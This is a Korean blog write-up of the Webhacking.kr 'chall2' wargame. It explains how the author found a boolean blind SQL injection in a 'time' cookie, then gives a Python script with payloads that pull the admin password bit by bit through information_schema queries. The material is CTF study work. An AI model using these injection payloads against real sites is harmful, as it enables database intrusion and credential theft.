메모장 입니다2
Webhakcking.kr - chall2 본문
1.문제
-제한된 IP라는 경고문구의 페이지가 출력된다.
-소스를 보면 주석에 시간값이 출력이 되며
+admin.php에 접근하라는 힌트도 주어진다
-admin.php에 접근하면 패스워드를 입력받는다.
+이 패스워드를 알아내면 클리어가 될 것 같다.
-쿠키에 time값이 존재한다.
2.풀이
-admin.php에서 password값은 최소한의 결과도 출력해주지 않는다.
+timing 인젝션을 생각해볼 수 있지만, 내가 아는선에서 sql 인젝션을 시도해본 결과 안된다.
-조작이 가능한 입력은 쿠키값인 time 밖에 존재하지 않는다.
+임의의 값으로 변경해보았다.
++0일 경우, 현재 시간값이 출력되고
++1일 경우, 이상한 고정된 값이 출력된다.
+++참과 거짓이 구분된다는 소리인데, 느낌이 blind sql injection 쪽으로 온다. 이것은 sql injection 문제가 90퍼
센트인 webhacking.kr 이니까
+sql 인젝션 값에 따라 주석값이 달라진다.
-결과적으로 blind sql injection을 통해서 db, 테이블, 컬럼명을 알아내고 마지막으로 패스워드를 알아내면 끝
-코딩
while True:
words = ''
for idx in range(7):
query_getTable = 'select table_name from information_schema.tables where table_schema=\'{0}\' limit 0,1'.format(str_db)
query_getColum = 'select column_name from information_schema.columns where table_name = \'{0}\''.format(str_table)
query_getValue = 'select pw from chall2.admin_area_pw'
#dst = query_getTable
#dst = query_getColum
dst = query_getValue
payload = '123 and substr(lpad(conv(hex(substr(({0}),{1},1)),16, 2),7,0),{2}, 1)=1'.format(dst, len(flags)+1, idx+1)
print '------------------------------------'
print payload
cookies['time'] = payload
res = requests.get(url+page, cookies= cookies)
if res.text.find('2070-01-01 09:00:01') != -1:
words += '1'
else:
words += '0'
print 'words: ' + words
ch = int(words, 2)
if ch == 0:
break
else:
ch = chr(ch)
flags += ch
print 'founded... strings'
print 'ch:' + ch
print 'flag: ' + flags
print '\n\n\n\n'
print 'founded successfully'
print 'flag: ' + flags
*주의할 점: sql 쿼리가 에러나는 경우에도, 참을 반환하기 때문에 원하는 값을 다 찾은 후에도 계속 질의가 참으로 반환되서 무한루프에 빠진다.
**ex) substr('123', 5, 1) 은 sql 에러를 발생시킨다.
**따라서, 길이를 구하고 딱 그만큼 루프를 돌게 코딩을 해야한다. 하지만 길이 구하는 조건 바꾸는게 귀찮아서
수동으로 루프를 끊어주었다.
3.알게된 것
-테이블 명, 컬럼명이 저장된 테이블
+테이블명: select table_name from information_schema.tables where table_schema='DB 이름'
+컬럼명: select column_name from information_schema.columns where table_name='테이블 이름'
-조건절에 select문 넣기 in sql
+괄호로 select문 전체를 감싸야 한다
+select * from myTable where 0 or substr((select database()))
'Study > 웹' 카테고리의 다른 글
RootMe.org - CSRF 0 protection (0) | 2020.02.26 |
---|---|
Rootme.org - XSS stored 1 (0) | 2020.02.26 |
블라인드 sql 인젝션 - 컬럼, 테이블 명 알아내기 및 기타 등등 (0) | 2020.02.25 |
Webhacking.kr 현황 (0) | 2020.02.22 |
blind sql injection source (0) | 2018.04.11 |